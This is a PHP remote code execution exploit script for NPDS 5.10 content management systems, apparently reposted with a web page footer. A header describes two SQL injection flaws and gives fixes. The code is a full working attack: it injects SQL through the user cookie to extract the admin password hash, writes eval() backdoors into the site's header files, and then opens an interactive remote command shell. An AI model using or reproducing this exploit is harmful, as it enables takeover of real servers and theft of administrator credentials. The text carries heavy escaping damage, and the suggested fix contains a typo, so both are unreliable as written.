<?php
/*---------------------------------------------------------*
NPDS <= 5.10 - Remote Code Execution exploit
[|Description:|]
Security holes were found in NPDS 5.10.
N掳1: Sql Injection in cookies (File Mainfile.php lines 655 to 691).
No check is carried out on nicknames or Id which can allow an attacker
to modify a SQL request so as to obtain data.
N掳2: SQL Injection due to a bad use of \\\"X_FORWARDED_FOR\\\" (file Mainfile.php lines 88 to 110).
NPDS uses the HTTP header \\\"X_FORWARDED_FOR\\\" which normally contains the IP adress
of a person using a non anonymous proxy. This Ip address is used in a SQL resquest without appropriate
filtering, and an attacker can define \\\"X_FORWARDED_FOR\\\" insering malicious SQL code.
[|Advisory:|]
http://www.aeroxteam.fr/advisory-NPDS-5.10.txt
[|Solution:|]
N掳1: File mainfile.php, add after line 665:
$cookie[0] = inval($cookie[0);
$cookie[1] = addslashes($cookie[1]);
$cookie[2] = addslashes($cookie[2]);
N掳2: Replace fonction \\\"getip\\\" (mainfile.php) by:
function getip() {
return $_SERVER[\\\'REMOTE_ADDR\\\'];
}
Gu1ll4um3r0m41n (aeroxteam --[at]-- gmail --[dot]-- com)
for AeroX (AeroXteam.fr)
(C)opyleft 2007
Gr33tz: Darkfig, Spamm, Math虏, Barma, NeoMorphS, Snake91, Kad, Nitr0, BlastKiller, Alkino And everybody from #aerox@irc.epiknet.org
*---------------------------------------------------------*/
if(count($argv) == 5) {
head();
echo \\\"
[+] Connection... \\\";
$sock = @fsockopen($argv[1], 80, $eno, $estr, 30);
if (!$sock) {
die(\\\"Failed
Could not connect to \\\".$argv[1].\\\" on the port 80 !\\\");
}
########
echo \\\"OK
\\\";
echo \\\"[+] Logging to account... \\\";
$reqlogin = \\\"POST \\\".$argv[2].\\\"user.php HTTP/1.1
\\\";
$reqlogin .= \\\"Host: \\\".$argv[1].\\\"
\\\";
$reqlogin .= \\\"User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)
\\\";
$reqlogin .= \\\"Accept: */*
\\\";
$reqlogin .= \\\"Connection: close
\\\";
$reqlogin .= \\\"Referer: http://\\\".$argv[1].\\\"\\\".$argv[2].\\\"user.php
\\\";
$reqlogin .= \\\"Content-Type: application/x-www-form-urlencoded
\\\";
$reqlogin .= \\\"Content-Length: \\\".strlen(\\\"uname=\\\".$argv[3].\\\"&pass=\\\".$argv[4].\\\"&op=login\\\").\\\"
\\\";
$reqlogin .= \\\"uname=\\\".$argv[3].\\\"&pass=\\\".$argv[4].\\\"&op=login\\\";
fwrite($sock, $reqlogin);
unset($reqlogin);
$pagelogin = \\\'\\\';
while(!feof($sock)) {
$pagelogin .= fgets($sock);
}
fclose($sock);
preg_match(\\\"`Set-Cookie: user=(.*?);`\\\", $pagelogin, $cookie);
if(empty($cookie[1])) {
die(\\\"Failed
Could not login as \\\".$argv[3].\\\" !\\\");
} else {
echo \\\"OK
\\\";
}
if(($decoded = base64_decode($cookie[1])) !== false) {
$exploded = explode(\\\':\\\', $decoded);
$exploded[0] = \\\"\\\' UNION SELECT CONCAT(0x4055534552, aid, 0x5553455240, 0x204050415353, pwd, 0x5041535340) FROM authors WHERE radminsuper=1 LIMIT 0,1 /*\\\";
$exploded[8] = 1;
$cookieuser = base64_encode(implode(\\\':\\\', $exploded));
}
########
echo \\\"[+] Getting admin password... \\\";
$sock = @fsockopen($argv[1], 80, $eno, $estr, 30);
if (!$sock) {
die(\\\"Failed
Could not connect to \\\".$argv[1].\\\" on the port 80 !\\\");
}
$reqpass = \\\"GET \\\".$argv[2].\\\"index.php?op=edito HTTP/1.1
\\\";
$reqpass .= \\\"Host: \\\".$argv[1].\\\"
\\\";
$reqpass .= \\\"User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)
\\\";
$reqpass .= \\\"Accept: */*
\\\";
$reqpass .= \\\"Connection: close
\\\";
$reqpass .= \\\"Cookie: user=\\\".$cookieuser.\\\"; user_language=french
\\\";
fwrite($sock, $reqpass);
unset($reqpass);
$pagepass = \\\'\\\';
while(!feof($sock)) {
$pagepass .= fgets($sock);
}
fclose($sock);
preg_match(\\\"`@USER(.*?)USER@ @PASS(.*?)PASS@`\\\", $pagepass, $result);
unset($pagepass);
if(empty($result[1]) || empty($result[2])) {
fclose($sock);
die(\\\"Failed !
Maybe not vulnerable ?!\\\");
} else {
echo \\\"OK
\\\";
}
########
echo \\\"[+] Login to admin & injecting PHP code... \\\";
$sock = @fsockopen($argv[1], 80, $eno, $estr, 30);
if (!$sock) {
die(\\\"Failed
Could not connect to \\\".$argv[1].\\\" on the port 80 !\\\");
}
$cookieadmin = base64_encode($result[1].\\\':\\\'.md5($result[2]));
$reqshell = \\\"POST \\\".$argv[2].\\\"admin.php?op=ConfigFiles_save HTTP/1.1
\\\";
$reqshell .= \\\"Host: \\\".$argv[1].\\\"
\\\";
$reqshell .= \\\"User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)
\\\";
$reqshell .= \\\"Accept: */*
\\\";
$reqshell .= \\\"Connection: close
\\\";
$reqshell .= \\\"Cookie: admin=\\\".$cookieadmin.\\\"; user_language=french
\\\";
$reqshell .= \\\"Referer: http://\\\".$argv[1].\\\"\\\".$argv[2].\\\"admin.php
\\\";
$reqshell .= \\\"Content-Type: application/x-www-form-urlencoded
\\\";
$reqshell .= \\\"Content-Length: \\\".strlen(\\\"Xtxt=\\\".urlencode(\\\"<?php
include(\\\"modules/aide-contextuelle/AC-header.js\\\");
if(!empty($_SERVER[\\\'PHPSHELL\\\'])){eval($_SERVER[\\\'PHPSHELL\\\']);die();}
?>\\\").\\\"&Xfiles=header_head&confirm=Sauver+les+modifications\\\").\\\"
\\\";
$reqshell .= \\\"Xtxt=\\\".urlencode(\\\"<?php
include_once(\\\"modules/ipban/ban.php\\\");
if(!empty($_SERVER[\\\'HTTP_PHPCODE\\\'])){eval(urldecode(base64_decode($_SERVER[\\\'HTTP_PHPCODE\\\'])));die();}
?>\\\").\\\"&Xfiles=header_before&confirm=Sauver+les+modifications\\\";
fwrite($sock, $reqshell);
unset($reqshell);
$pageshell = \\\'\\\';
while(!feof($sock)) {
$pageshell .= fgets($sock);
}
fclose($sock);
if(preg_match(\\\'`location: admin.php?op=ConfigFiles`\\\', $pageshell)) { $ok = 1; }
unset($pageshell);
if(!$ok) {
die(\\\"Failed
Unable to write PHP Code\\\");
} else {
echo \\\"OK
\\\";
}
while(1) {
unset($exec);
echo \\\"[PhpShell@\\\".$argv[1].\\\"]$ \\\";
$input = trim(fgets(STDIN));
if($input == \\\'quit\\\' || $input == \\\'exit\\\') {
break;
}
$sock = @fsockopen($argv[1], 80, $eno, $estr, 30);
if (!$sock) {
die(\\\"
Could not connect to \\\".$argv[1].\\\" on the port 80 !\\\");
}
$req = \\\"GET \\\".$argv[2].\\\"index.php?op=edito HTTP/1.1
\\\";
$req .= \\\"Host: \\\".$argv[1].\\\"
\\\";
$req .= \\\"User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)
\\\";
$req .= \\\"Accept: */*
\\\";
$req .= \\\"PHPCODE: \\\".urldecode(base64_encode($input)).\\\"
\\\";
$req .= \\\"Connection: close
\\\";
fwrite($sock, $req);
unset($req);
$headers = 0;
while(!feof($sock)) {
$buffer = fgets($sock);
if(!$headers) {
if($buffer == \\\"
\\\") { $headers = 1; }
} else {
$exec .= $buffer;
}
}
echo $exec.\\\"
\\\";
}
} else {
usage();
}
function usage() {
echo \\\"+------------------------------------------------------+
\\\";
echo \\\"| NPDS <= 5.10 Remote Code Execution exploit |
\\\";
echo \\\"| By Gu1ll4um3r0m41n for AeroX |
\\\";
echo \\\"| You need a user account !! |
\\\";
echo \\\"| Usage: php exploit.php site.com /path/ user pass |
\\\";
echo \\\"+------------------------------------------------------+
\\\";
}
function head() {
echo \\\"+----------------------------------------------+
\\\";
echo \\\"| MPDS <= 5.10 Remote Code Execution exploit |
\\\";
echo \\\"| By Gu1ll4um3r0m41n for AeroX |
\\\";
echo \\\"+----------------------------------------------+
\\\";
}
?>
京ICP备10040895号
暂无评论